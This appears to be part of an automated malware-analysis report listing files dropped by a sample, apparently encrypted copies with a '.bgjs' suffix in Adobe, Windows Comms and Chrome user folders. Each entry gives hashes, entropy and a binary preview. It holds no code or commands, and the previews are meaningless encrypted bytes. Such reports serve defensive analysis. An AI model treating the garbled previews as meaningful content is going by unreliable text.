Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86990482650964
Encrypted:	false
SSDEEP:	24:Z3kWVbdvLYpayJqppZ7uJO06TETpooDeJyGnpRk1w7+bpRjQdGeg1JhxUdTwjIh+:vp1YDM906QGoDeJyGpD702gVx2Aj4CEU
MD5:	3AD5F2A94C075B3DDF5F7DBFC2CF57AC
SHA1:	343137121DBD6FC5E6237D54A708B63B8E2B0FF5
SHA-256:	B4C30FDD930DC511ABF7A4B5E6183FF8449668F306333D6A0ECA1B3A80818AD0
SHA-512:	04E5C5E7C6D8FD6C05C9A352F223146F31560FDD8E62BDA76149F5326EC24763CE7EE335DAB52B0DCFED76607EEA328DDD2A0DBB877BFBD691D7276701DD50EF
Malicious:	false
Preview:	YPSIA.....x1..nD.m.\|.......$.].^k..y...\|hr....d......w.eUI..:5+j....'.J.\...7...u.e&".X. ......./.("....6...L.-BGSo,..).9H.;3.T.u......4...0jb...j..?.}~.._.i..1J&.4'.....qG.,5.BN..a.....L%..$l.5P....[..c@^.@5}Il..-..JE[EK<1.p.OD..X...LAL_.w...I._..........m{.I.."q.j.....<..H9...<....@.;....6m....u.N...!n....73.d.....dt<.w.N..s..-.@...9S.V.C....rO...y3X...a}.m.&y.4...)hlk...G@ht.^....c'...o....1z{.G....#........L..j........,....k.."..u.....a..6.o.\|....;Qj.0...T. 1.~..es.....n...CqL_....-..V..EC.Oi.)......q....}...i.K:K..d...j-.O...O4.~..em~8..o..(...T.O5Fyqk..%.},..r.2..^.t.v^..iB(.P.[...75u??..{.c@j.(.........7~......b..)?.=.Ve....x.z.(.x0xw..w..i\|g............tK.!....\|2.&px..q.[._..../Z..".G.b.[..N.....$...&.x.[...:.[.f.+...#...j..`...D....xS^X..C...,.<m+..Q.Q;d..I9 .1.7g.. .{...v/....l...cd...3.6..5....RE.n..._..c.Yj..].8.4.$.$9.W.M.b..1t...9..+).....h.#..S.A"....x]..F........H..b...).Q..5...I. ...V...%.../?..Y..M...H...6......<.M9X..,.{.6

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.878275502592731
Encrypted:	false
SSDEEP:	48:VGmMEZ9qw5yjgvpLfU4mHZcYxc9KOaJGTLOD:YmMShRfLmHSK2KOTv2
MD5:	9799D562E7195200FB314D518DFB5D68
SHA1:	0D1FE70DF24D0AE1B1A641EF95B5F06BD38A1CA5
SHA-256:	791A5284C437031D4662C55966B8FBD8BF808C6760C264EB0F60460C31EFB407
SHA-512:	123BEA2F1259E5983735FB1E2E2B76AED67EAD1AB1A5352E4699E3B4BBD8908FF791FA5E448E8D62DF4B1CF4127480120BFE6033660606E29D46C7CEC1DEF4A4
Malicious:	false
Preview:	%!Ado.....o...d....^n.b..`.....L.Q#.q.c.^..'.~.A..<M.U.ej..>_.n]w......')eB.~s...b<..D.E..".e..O.\.A...5..\........[.as.c@...Q+:.Lqb.:.6..x.YwY...pUBY}.,I).3.U E.....l.N;..O.....;.qKGp6Zj#_..dnC.....=.-v..".c.D.....F.f......0q E.......(.@A..D(B.......+......93...0.....D..nZ.....c.~...Xh@.l....R....W.....$........x.M..-h^.....`y.i.6.........ggD.f..[.".}}....R.#..O-......VL....:.<.W........\..{..3..gb7..x..^u.....E.&.)..Y....a...o/.UO..L..U.y......W....J..Cg..0..6...`.....:..........Li....p......U..p..ZD.i%.W.V.%.9..;.@...I.....l..V.H.....Gp.X..#z.FO.j.N..].[...zWke.MWi..W^......].^.p.!...F...OR.z$..t......pi3..t.pTb..2..+.cN..7...)N..BV..Y....a..He+.$.....).f.......i.........bS.X......N$..}..4._iJ(m$$WZ..~.D...o)j.f.\| b..e..G\|...V..e8...V.m..(!.z,%.T.;\.1.....Ms....u...ucmm...Mv&..j-0x.G..T.:.Y^a.P..=r.\|j..=.t...Q....o....\%1.?.O(.s.]+H...[.,......l7.........m!&.+..i.x...L..G..n.....x...m.@}.K.w....3..O`.}.".n...m.6...I..%!n......

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.876819945269622
Encrypted:	false
SSDEEP:	3072:U+TaFDe+rWFGoybc7Wt4A0yZpa9ISoTK6eGWHJtQwPXE07ZmandGCyN2mM7IgOP+:UwaFDe4WgN2AdZwYK/THciXE07ZmandZ
MD5:	7084CC75E5FC38EA11E556D2C014E76D
SHA1:	EFF18887D799880716C4DAEAB3B1DC6A85609D82
SHA-256:	7C63BD8B68D0A133F7EFDE7A1EF126A1154050CB4AF3172280CFB72C76BF9928
SHA-512:	ECF056855C4FD29DB3994628E72EFCBFAC0106A0FAB4D270996DF62462BAD92AE6359658277F1F5EF655D662BFD979238637341606E2425DBCFFC18F659218E0
Malicious:	false
Preview:	%!Ado..t.......r.-...r.l:I .s+.!.pQ&.A.M'.V.>..b..I$..~!.....v..Y.T....;"......yR.z..nZ........\..N'....U.F...[.m.@.N..D]...8#......1..#.sG.p.pE.....X..............-..pZ...n..GH..YE....GD\3..1:..=.....kLh.zqHx`.G...`..!.!.b.....J.!'%b.{...ty..,1Vm.J.V..E..^.b..v.../..^...RY3......W.\|?..I....../cg.m.7.y%.krd.'!y."uX...J.f..$...).2.}..~...sTE....9.pN.KA........[R.y.]..52...&J^,..r.!...l..=j.rn8...R..!;..:.......0@N.x...2o..;.....D...5.Fg.Y....2X0.X+..r...Ew..<.s.~...R.6I..y.9.......^.....bz../n....k<.....Q....._.Q...E.#..xb...e^..T..CA..-...V{*.....7..i.j.~.S.V..Y>..D>O&6P}c&B2E)J=...Dsx....W.0.a!.....yJ...`..........G...i.o.$C..-2[UexV._.I.v...]...D7..s3.o../j.....j.\|....Z@7..>.e].#...`.t...1...{._...........V}.8.I.(r....z....K.ka......;......_....P}. .....=....2.@..UR.3..B.2...U.6%[^8x.N.x..=....09Bz..R..._MX.~(....T.!pQ..x...h.^..-......ui.....N...j..p.h.}..;......Z8..6....)...#....C.(8.n.5.M...p.Y...(_....)~.1.1#.?.d.w=0...h.f.rn.Z....o

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.821128789590476
Encrypted:	false
SSDEEP:	3072:9hohys+EJhXFxl5FW8DWB4hAWmOlWSzBlufIey+ta4yQ1U/ExSsNOolNlnn:9ehySJFl5hY94lvI3yj4yvYnn
MD5:	BFF3C737D608A161C924A1B4B92481B4
SHA1:	E468EEFC4D429DAA13D41474BD51841EEC064A08
SHA-256:	A37D571ECEA3E20CC574909E72560D1EC9E9C90DE07FD2DB68146BAD09817034
SHA-512:	BAF8397865CB7F467079C209E889597386EEC19FA6659A6D5A11D9BC17F3AEDBDE6EF745DCAC576D86FEC3E97D7A21D379A5CAC56F86F18A80E4F05636ED4336
Malicious:	false
Preview:	Adobe7..@&y.X.O4..J.....s4n.H.5.%...$...Q....8......{..vS..s&.k..u..7..^.,\|....#..6+.n<....R...S.#...@...I...U{...v#..?...+...Q.."$..d..T.q.I.\|.`...l......=......_ot.].hNM..&....%>_.....E.@.wg............d[..^..\.....%...q.3y..R.P..h.l....,....?w.u..%v/E.M<.....n:U..t...v..S.}.~.. ..h..&.ZD...2`.$H.)..D.\|.5.6..e... #._.#...E.y...^FL.6..r./.CK&\Q@:.4....DT..c!...~e...>:.4.\|.4.9....0...+..H.6Mq...a+..E..R.....V1.k..K#Ps..?kK.)&..6.....-...@.._..oi..7b.]...4.bw..-.W..3.....q>x..;Z.....%n....Fz.....\|.^.".lGK.W....u.zh.$t).OM).u._...".g.SB..G.c.G.Sb..hf.9kE........]......'Fk.&..%]....N..Y...I..2U...L.{..p.....p.l.<.muq......".o..3..!....0gj.....O>..d.F{.l.j%.j>o.....37P6W.1.<.........>.....-..........P..-.1.z^:e..0zx.Y.w..]ho.)..IX...t!......p..a..P..i...c....9O.9.mS.o.W...Q.1..f-u.AB.^!...M..."t.\..Eo7$...../.qwF.1....q..RYy{g)....u..z..-.+r.x.U5...H..p.G.Ros.~.H....%..D../.8.4.....PA...5..y+$........#...6...-..Hd....B[...2_...i.T....

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997262985184443
Encrypted:	true
SSDEEP:	1536:RoA12PlepHviqVluAtwNLSXgPIg130ojJk4jmwp:miR9viq2At6V1Eoj0wp
MD5:	39D17BAF2D7FE8A49A2ECE20221AC234
SHA1:	EBF21C4CEFC0DC336BAB77D8C4789AB18B7E7508
SHA-256:	F3467206A45812D9C422BB088A3455158AEC14D01B78828B9B31192F4024B65D
SHA-512:	658B2284A6EDF6C9796E2B1726C2F532C572493579B750BD7A4BCA142D2A6F081E4A225BA2B1AF447684AC53CA7AA64E10DC2BA85A2A906B95A97CDADC05567C
Malicious:	true
Preview:	4.397j`..."....D..$0....v.9...QUj.MS.rr.E..%pn.[&A+...w}.'$..\|Rtcev.%X..O..z2...@....B.S.Z.>8......N...!.R..J.3..I....J.u...l7&.t.e!%.j].kp.Y_>...Y.K@...Wvy......k...V.1.^..O..>_.b(..x_...]'...?.<.e4.. {.H.....-.\.(:r..N\|...X.t.\/..lu....\...3.....d.D.....c:..e]...5..:Q.d...](......A.2e....vrs2n..22.....\|PS.....:.;........._..(....$...z..}[..U....@..HYZ..tQ.@}'......b...'.N...tA .u.P..Q..).%z..o.Mv.........;....fk..2.(....v....T~.....d..5b=..T..Vj./.@U..C.a.8o...p.....-.=..(_....R...6q.&Z88l?3.I.....@!.....g.v.[..5..K../.%.@..Q0F@^S.\|9...?.p..}[.EH..Jb...\|R....e..C...8.4.s......0..\|.e..{.....a.2.L..I%6Q..Y%.<n6..0..._.}..8.a..TJ.8.N.P....N.....D.i.....Z.......-.....J}..LK\|.{...8..C..BB.%D....0....@....n...?.>...W?..`.9uO!........,..n.......N[.&P.hrg9..3...8E..v...qbA..:...h..h.Y..<.&9L]........6.b.~......x...J..+.!...L.Y....%.........0....!9Y6P^.h....NL/.r.Y8.+.W..;M.......f$.".>..O.g@../.T#.a.2R.V+]..r0y......_"[q.w.$o....R...w.3.....8I.

C:\Users\user\Local Settings\Adobe\Color\ACECache11.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.748278185723681
Encrypted:	false
SSDEEP:	24:4VuQoPJPt3psuQ82qKk9Yd8DSHtjHc7s7aFXPToPBW6fhYaVdObD:4QnhPt5sbqdYKDY87sC78cuhYWCD
MD5:	30B062262B551F3AB627F4C389C57418
SHA1:	0B5E11A222209F0AD8FCE9A7A78C368DB96C76A8
SHA-256:	47FD6E64C80CF60B5E1B8DD0FDEB12A772672C7A2F1817F46E211FC8E00841DE
SHA-512:	F6C3BD3A8F6F35A6218A35533C2C8DB969EBC74EC3697CFF6980B6A9E74A604332302F94B2267BD2DF304F6EF75C467E6CCAF332FCE3916BD1E98380EB7D833E
Malicious:	false
Preview:	CPSA..5.........=.g..XW...e...FI.NL1.j..D. 9jE.sj.Z.U.y ...l..5R5..E..R{$\! X,{0..Y....ICb%..@.....d.UI....F./.)..vi...A..D....s..1..M.....u ."39.d.\..Fgn....B.,....E......?.(..w.f.lb.2d....i.P.S.......z..m0*hW`..O.... ......."...,....k.....Q.?..).I..e_.#.k.....:.~.N.!AM.........Ib.../v.......g..N..Y.>...x.q.V.].+cd~.L1AT...xY.V...~.y......XR}..X23...4...\|~...p..../.uu.:.h.0..c.....2..Z...v.....{...'..H... @4....F.).T.I........3c.IB.uZ...~......2<C~..5..t..9...R..A...#:.d..3...Z.u..&.....!P/..e..7.d}k..z..5y<.......S...B.....\|...G.{.duh.... .d..mf.A.T2R...4...N9.M...\N...76Yn..V..bq{d.C....cf..e.\.....3.g..u..,.d.P.u^X.....=..[bB..e.@-.O......]..(~...G.E......Rty..=...W.n...q.yR......7....p.M....i.-.@D..w.c..^..m.uV;\...KL........v1.+Uw1X.W........4......1.(.m...6..{..K...z..Dl..6gj...OZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jcp.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977597211618303
Encrypted:	false
SSDEEP:	96:pt366Wd4zco+nYH2ZcgCWaCVX3vtL6GIJcQ+lzQPR+4O4koWZBFEejvoV0H4MG58:f66WO4o+YGclWlZ3nQupCWdEesrM+A
MD5:	F73EE44F83F6F6C658DEC7CF1D4FAE5E
SHA1:	A103BC6B82BA4335F769DAB978AA742EA23A5FA3
SHA-256:	00EAF43979B460A1588DF710B15840ADC50AA3C0CD3B3208C405FA0BB4C2890E
SHA-512:	E10D1B84181303B46EEEB4630B63BCF1A0377E12F442591E4D08816362BE3609DE61A7D934A2FE7218708A6063A5139AEE706CE0BF1FC5406FC73E7DF990A9A2
Malicious:	false
Preview:	.M.#..<........NjCY..=..$...p8..E2X.hE...D4........Z.0........).ZMI....6..{..i.V.,l... .qg.r....5.G..B..q^w..<...@..m5^>Ylj.\.,.Hn1l1.~...A.F=..g.........7$.f9..L............p .I.FV.....qC.e.k3....).c.^.{Pq..7..g..#k.@......M..+W.Z.3...W....`..........^H(.x..E......2.....}W.3.R..MQ..<a..$....0+.....E."j2..]\|.(v.Skg..`.`.)U.u..yf...Q..G#...o.'.[..8]+A-eG.v....n.i...K....pO..D...E...?G..BQ{H....mO..Y........"..............4...+....h....{....q.-....h.=.q..NJC...d......9.6.....]O...9..9...B..J.@{.z...rS3..XQ.....^.J.C.G..wC.......8.:..?...\|SZ.-..^\|..78f..1t.E .u....!../C.w...O.c.'^u..tw.Y..I.P.....`.q.w.rg3C7[.m..p. 7k.!^.Q\|9jK,..bTZT.N..s8.w...Km'.-..w..)0=`....bhjD.....3..`..r.N4GHp.R........#..,.4.]..X..h.]XYf.D.K..Q..Yt....%Twk..IH..Wa:<.j...LP....6.^[..U.Vl...YR..1B.>..'P./....2...M..).k.i..}.....8_..h..M..M..3...3w~xai..;..i..].A.>..@9.p:.h..^.......2..N0}...]..".(\.q....k3.+.R4...3..izb.Z^.n..... .Ql.l..*",..uK...vp\|q&C

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7331797833012474
Encrypted:	false
SSDEEP:	6144:99a/jmNYL5QT3GHan9ayGGo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3TGXZAcbBV1:99smSKTW6n9ayGOfCdYS+
MD5:	07DA4C6C83D39E7BBDDCEB92C0AF8855
SHA1:	CE0D3FB70057B2923AC1D5DC301D1912348E5960
SHA-256:	3164BF87A5FFC641129559CF9B3538B2A9389CD9615FDB77D21EA0068770F566
SHA-512:	3B55E1D9A0AC5B2FAD747F116DAF93DAD9FDA7190E01D75F31C07D92276F808335968DEDCD58911768C946E48D566E33F152E019C3B748207457AC763D23CFCA
Malicious:	false
Preview:	...?.&.....y.......l.:BD.z..B.s..Uy.].X.q.p(..B.(6`._3.[...r..s$).D..).m...,`.:v.ol.1...+@.cM....5H..x..Q..](...u..Zw....}/Br.......... .A.8.H9^~.[.zY.nT.z..f....A....._.\|.'...xLa.(X..?.I.s.EO.....>.h.2T..)i.z.@..2..M..`....~......z.A...h.e.R.A...W....+`......i=.Z.W... J.o......Y...Bzdjbm...u.]...".T}......%^'.Bx..&..7..MT...g3...[u........e.W....3S.Uftp..p..<...=!(q..<i4.`.\S..83.s.`Z.....I.J....,4}G...U..h.&b..S...J.s....\|a.@9-.b.........d=w..r...[v6..GW-..i..f........t....;[..D..jGB....jtL.g.....@Y..~.......=....R.-.<.....j...qr..../S..13....>$..{K.e.L.....;.]&@...>CAg.K.;W. ..8p.....S9N....T+......n.7...\|(..Z.; .k...s....K..&..QwS`,.[9u....;K.Q$.@j=;.+.>.~..ML...JqmX%g.E.^..R..K..2&....a..F.. .!.(h..8*V>..7.%.iS7..v...:..#.i.d#v2..i..&.L...p.\.$....#.q.q...h._. ...h.v.oD...4.+../.nd.........w.....y.{.6Iq...g..)."$..e..WU9.1.PSQ6.J.\|..b.O(.SO..(...@.A>.s>Q"5.m.\|..9.wi..A.....C.J..D....lv...m.iT.a_.zpV...4....U....C.5..:....5.`J.../...n.L....O..E.

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6707338325350098
Encrypted:	false
SSDEEP:	3072:eqVRDwdkEXHs/CQZGOTSk10LWsEvHJTpQzVOOqk1hfeALZNigd17p:eqVRkVsN8S9KWtYJKOZbBFp
MD5:	136EEBE1638EA78DADDDCC68997D43B3
SHA1:	CAFECD85947A94D94BF0943E036E96AF07CC2403
SHA-256:	8BE51DAFDB67E4C1464D6CA64D3FDD0E5DE27EEBDFC7A41473F73EB56E1E3E4E
SHA-512:	550AD59141A3C5613DE2F29AC84B0CE98B4024EBEA31E30C3EE6E2BA32DF85FBA834FF689150ABFF3FA93A1528C61C0E957EAD0D5CF50D5F2058B6D0C6E37B16
Malicious:	false
Preview:	.....t...WA...h..."r..\h.....i0.h..~.WM[.P..rT..!.6.. ...9S.QaI/......Y.-...0#...<.L.....]BHx<.. .{1...f3..a...L.Ju.M..8].#...n.....O../...XZ.).p~.FQ.....a.U...^A!.2...D....y.l.O......<.7......ir....p.....T....V...6....E6..............xKZ]...<i.B)..N....9..r..U.../.J...D!}s6..+.......&..Z.A.w..tj..j^.........7w../....0.(..}M.hH3_ul...]..0..E..NuC....l.Y....HiL.....Tg...y....O.7...$.^...L9........7.5.b..wa.p..........a.S;.....-...5U?{8.Ln......x[8A.;2..7=.L.,J.a..".1=..=..]...D...n...j<.....)>..H..N..WE.8XGZC...(-.2.Y.R!gp..`.......&.\|p.\|Xs..Y...=.sD... TP.)..s.J..zu....rG.c...8Y.c\|............=:.~..>p."WN.?.?@..:..}.o..q..h.../..^F..Q...2......2..v.I...j.$/..P.,5.<U.V.1.j.@k..X.H.][Z..M..J GH..7.-..Y"..U.qj.+.f.D....5."...0<."wW.IW..t!. ..P...H..T5..n....V.1.@...Q.../..4N.V.)~y........\|E..c...;..Gn..):.S...r.vb...$...cF.{H>..^.... .......H.T..G.{..Co._.0.3..0P...O1..D......J.>eY..Y.8...n.\|-.;...q.,!. ..Q+S..r..y.. .X.i...R.-...Z$.7...l.N3...

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.670696312227287
Encrypted:	false
SSDEEP:	3072:363wAXjs6Qb0gJe55aTc0L4kOO/Mu1YBy9bOc6GXVVxc+jnG0Mo:q39I6QQb5b0bO90Y0dOc6GlPLC0t
MD5:	E79DF0759FA6856D4B64E0B6812532AF
SHA1:	62C62C88EC8354DDDC7F359FA9977D95BEBF9011
SHA-256:	E2346E0C749F5B9483F4F2CCB98F31F318F86F5D0869A1CE359B978108A484AC
SHA-512:	75F2D5A65AC05DC1D3CD4F3BA813ECF44FE9225E078396121094E2AA7CC53C09A1E706BE5B89A3DB95DC50B389C55C45385CBA926568C4DCE972BD8A0A1A6E70
Malicious:	false
Preview:	.....L.%pU._.....8....5.C.ZP....[L9u....!R....y.C..poI..i].].."?....z.Z......9.....9...B.._,.8.Z.M4O..R.....=t.9Y..7_.w5.....V\m`.ZNJ..}@.6.V.G.] .!....M=..>...vd.p.z...q.[.E.._....$....7]./^T..Z.$...F.M.'...?.S(l.w...nq..7LP...mz...[....F..o.-.....p.JT?.o.d.<IF...(g.At.........bo.R..ix=....HX.Y%.....O....\({iqw....h".'......u..X"..A.........K..$6..?..F..n....ok..q....J....p.Hz.'.q....b1U..Z..s.,.td.7..'....@.D..C.O.Ig.kv.U..,.S.{.?j1...&.}...).S...8l.K>y......3\|.!(N#.R..+..G^..f........e.[.@X.u;.....q.;lV.3....Bu.../.;..)...g._.~A.A')..9E....t..X.....(0.z4e;;4.D....O...rK..o.x....W.X(7...?.2......v.....fvD.g.,/u.v..QuX...2F.M5+...#`ms...g..9..-.Ob..C...h..3".v.......D[.C...$...X`...c.u...GN.w.G...H..7L....,-r.,.zeEAu%..v.lr..U....c.63..p...\|.).1..ML%.3]I........f.y.L...z^4....E..Va..T...+i.0.+:. 8.\|E#}o.....U..E.@Q.7Bu...g.~.....N....a....#..Oj...y....._.W...R.am....RO....y...?B..8/(....;.=Z.X:...=a..X..LI..%...././.+4.B...Yz.;0....

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6708213440172318
Encrypted:	false
SSDEEP:	6144:i589bBjC4OLnu3HSkK6l/ccE0EMHDFYLFO8:eUBjTObIHSkKSkxJGJYZn
MD5:	9D88B0DE66995012721F3EBA56A148DE
SHA1:	BEA5545989BC32C233A82E6C9C72507E9FFCABC2
SHA-256:	A683AE836D9E5B978A6EBDCFE0C421EB2231120C88B21D2BE3BB91B5C4548B2C
SHA-512:	5E3F1DCEC7232837A638BDBDA9B29E9A70BE407F4D2F41AF96A7BBDB79A7AAD60BACF9B1963AF77DE5BD6BB3AFB49347135AA7E2735D2ECF39F345ED629C0413
Malicious:	false
Preview:	.....ta-..Lu.....<4-....T...?.....@4.Y..y./...+nP.`....1.#..z.K.E..o.+.?lI.../$..O..}.\.....0.@..-....T...........?..".?cO..)_<`u..qZ...k.wm.R.........v..M.^.'.)U..[g.S..Z..p.....2....p..^.z.............s..e...Z.&.&u..a.S...-l.d.h1..(KoN.].^.Vx....x..6?}..y.P~g......_..\..........$K...1s0.....g......F.....z..H....2>.A.........,.e..z.Y:V.aD....m..).ql.[.....S..qQGD.B@.l.d\..F.k..t..G.$m.h..9.K...pGV.qv../.c.D..z[....pU.?.!...... GE.$.....{.,.......4..?5.c.......x......d....,...=..{bo.{...Z..I.....~.g.UGH.........W2......B.f....Zq..VN[K.:...i["R..C.....%M.]8Y+.i}...W...,.......W.y.T.W1E.0.W...2D.0.-2v..Ox0...O..,....zsl)..Q...o.lf.N.._........K8H..p;......).v..]+.[.9..JI..z...8.6..&v..]...)SM.e..Z.....+.Pz...!.$K..bMa.B.V..B_4..X.R4...7H.+M............._..4.H....a..p.r....A^;.y69.v..#..aw..=...j.../p5.4.so.`..B.Wr=a2d..G......X...S.l._..@...h..Q'...[......[..6#.._..,.S.1.2....Fv.\|.K......[..7....Z.a..^Y...u.N.f4e...b..&...<X.K..N..M

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9883635683330745
Encrypted:	false
SSDEEP:	384:koH4AUcHggkOM09oIvO+Lf8QkogqSBHWPapN3Fdqv:koPUxgkOPPvOW3k2IWPaPW
MD5:	8B1BD008254C8789A657F6AA39ECBC4B
SHA1:	20FBF58F35EDB03AD8396E939B216823D849B971
SHA-256:	B0A972897500DE644455426F14DB971972511425904D4D83C642F7F19AA30E72
SHA-512:	1CB7326338F96579097AFE3AA247A35A8C88A4ECDAC1DBFF3F5902DDCF7CEF918939923B547976879788EC210A39C9ED729FBB73E746988E8326211E26910CBB
Malicious:	false
Preview:	....H.U..z.\.....}.\|........... ...V..B..6.sN...~!..3.. H...)m ~=v5. .TdqS/....U.K...3.. .`k#...=.iG.8..Q...e..)6...E..MU(...kZ.B\|.qg$h.S\|.U..i.0.U.E@s!.;...u....-Wd.tQ..'.g.e..'.i..\|)..y..B.4.].to.>..`.~M...u.T@T.v.(.....]....\|..x:4:..<XW"..KE.Y....T..SR8:}{v....@.e...=.[~.....3.V.9...:k....$..;8i.5jm4.b^;...G.(..L......,.9~....dO...........BW.M)$..z.i..R...#..hBV.z_.. ....)......f.."x\..b.Rf:b..$..N.7.WP.....m.zP..hp...\......$.I..`.t(...R...i.N/l..G..S.C...A.n.........eK.;P.s}..........p\|R.Yf.a...%H...9.h\|J.....z....s.R...s..Ta.......A.e.I..c...7...8..1.h2..P.d)....SSh.......q.W.T.Y..H'[V.A.s_.......Rj..V.?f...nV.;.:..._GnI..8..n?..i..)....#...>....C".IZ.)G0.mEi..PHPy.....a..X......O...L......i$... y...U..........Z..f.U..D?!,B.)<A1...m.7.>.w.........'....s.z.....PQ..+......G.I,7(.>.gX)..vH..?...M.^.d...M.rv....4. T....B.....m...+..C...=.Ev.E..G.K....y...=.5....I.....N=.Nf.>....L....g.RD]....D.:......7 ........G.a5..(?m..Q...o.o.l.I....%!b......

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7567637059218316
Encrypted:	false
SSDEEP:	6144:dGB50OBiiV1giWUyEvL94LS7tSa+d+gOrOuWxWk3m+cun4CfYjUfSUXivOYRqi/o:oB5Ei5WEZ9qR3b0iz
MD5:	877AB72901B8378E449B42A1313D3E2E
SHA1:	98E76169507E3481603596EAEE2E350FDF8FEADA
SHA-256:	9B1612089F98A064BB84FC7D286B158C19DCCB481D33230B1BA6A65E624EE957
SHA-512:	86CEB2185F3391DD0D85D1CDEB539F62536992B45C7DBB563FBB7AA2B703426756AA353DA42F47C110B3F19F95C3A5E81639ACADAA18CAC3EF394A2CE7F6E824
Malicious:	false
Preview:	......fLC.^..B.KZ......:5..G.D..e.LW..T..x.w@{.h........d.N..s<K.N)..D...tS+.Z.cP.c.5.\....J..@.Q.f.Y6VS..).G@:......%A<c..4.x. ....X-(2!hx..T.%.9.sn..n...xR.)i..o....[+.C.....).9e.X.va..N.A#.'...LM.T..q...T.Y..#U~.....}..c[xM.....p..1..4..]~.%v.........l......=..%..;.i..._0Cr.tt..CH.a..Y..C)<d../.....f.P.C..-.".{...... ....B6EKX.p.\%..............U...Tq ...6%..PU....K....Q%L.>\....g/s.....b...O.)~.S.d._.....i...#gtE.&3....`.{C.V/...6lvt..~33.\..F..C.Y.N1........\|.!...P.j..qz.0Wq.2..(....U.J...9.2.KX.e.]....._b.)A6......]r{..y..e..+.N....3d..M#$..\...:y........2.U.6:.s..0..0R6P.\|.....U..:.^+n...v......t.G...N!.C....%.~..jzv.q].....9.....[.P{=...W.Y..U..y...X1..h#..rf..L...V...E....Ynb.....&......F.x.^b,[.../...p...~...;\H..q..D..!.t..Gu.tX...8=.../TP...]..^4il.J.G.5@...C1G............'.V....h..a.dYM...o......;......&.c...\.Bc5..{r4t.Tx.&=....(...A.1...J'$..)m..-"!s.+.U..d..L.f..3Vbe...Y...[/0F%....Oz.8.KG+.Q...6T...6.o.cs]e..n.,.J.........=..]>..x

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996555990984657
Encrypted:	true
SSDEEP:	1536:aVBU5lqk2wAvLHCooM++yw7jiil+zzjIVjo:/5KwAvjCoZWuGVzjQjo
MD5:	95692CF775BCA88C8ABF7A801D49C3BC
SHA1:	C8A77E31AF58261CE48C75B7112109577397E933
SHA-256:	98167FEB6ABA8F1DDE8B2F5A324B04C7BF95EBF5FA4FA86E59E3E179C1283EA1
SHA-512:	77C8C5C2D24CD9835AF1875245030D365D0D47EA14ADFDDA5AF0A798505E94A659F89793441BB892E2C30DC225D510EB3E664B7F12FCD0FB2DD8EB07D702F96C
Malicious:	true
Preview:	SQLit.m?y5(._l......e{...\..B..S.I\.S.......lB..k..K.!9%...FW......tm.......;a.y......?. (.._.hZ...i7F....r..pSu....`D&..o...w.h.-...?..F..`.K..'.....F..+d8.f<.(.5........v-..'5...B..\.BS..H.w\7..Y..H.8Io.N....@.Kxz...QI`oa.(+....T"/.m.{\|>.;}.....N.y......M..v_...,..,w11.......b.0h..q.....~......OWq..},A......=s.c.Y.....a...,....Bu.g.c"U;...S....8.r\|.O.I..g.N.......X.xm.v..1...B.&.<n..7.p{t^.o.].@5.....4$~p.}....C.-..G[X.<.H......?d$m..5y.\.j.........M.t:U.k....f.i..MWA..`.9P....=.&.U4....f01c..x...@FB..X...\|..Z....L^T.y.R..X.(;........839....._...;....U.."..SN.92..\|.qw...IHM.\|.M..\|.wvv,.(.)..*.R.>:......Q.....z.._...@.v8...../q^..".`.;/T.....doe.......6...9.M..}.S.B...9c.s....a1qZ.hF..w.d.x........?l.M.s..v....,.6<.hEf.2t..9A...6...l.I{...J.nj....{..^...0..z...9.N8g.......l.t~.....k...:W..;k..>....6;@.up....).v.Y.'...U...d..@9+v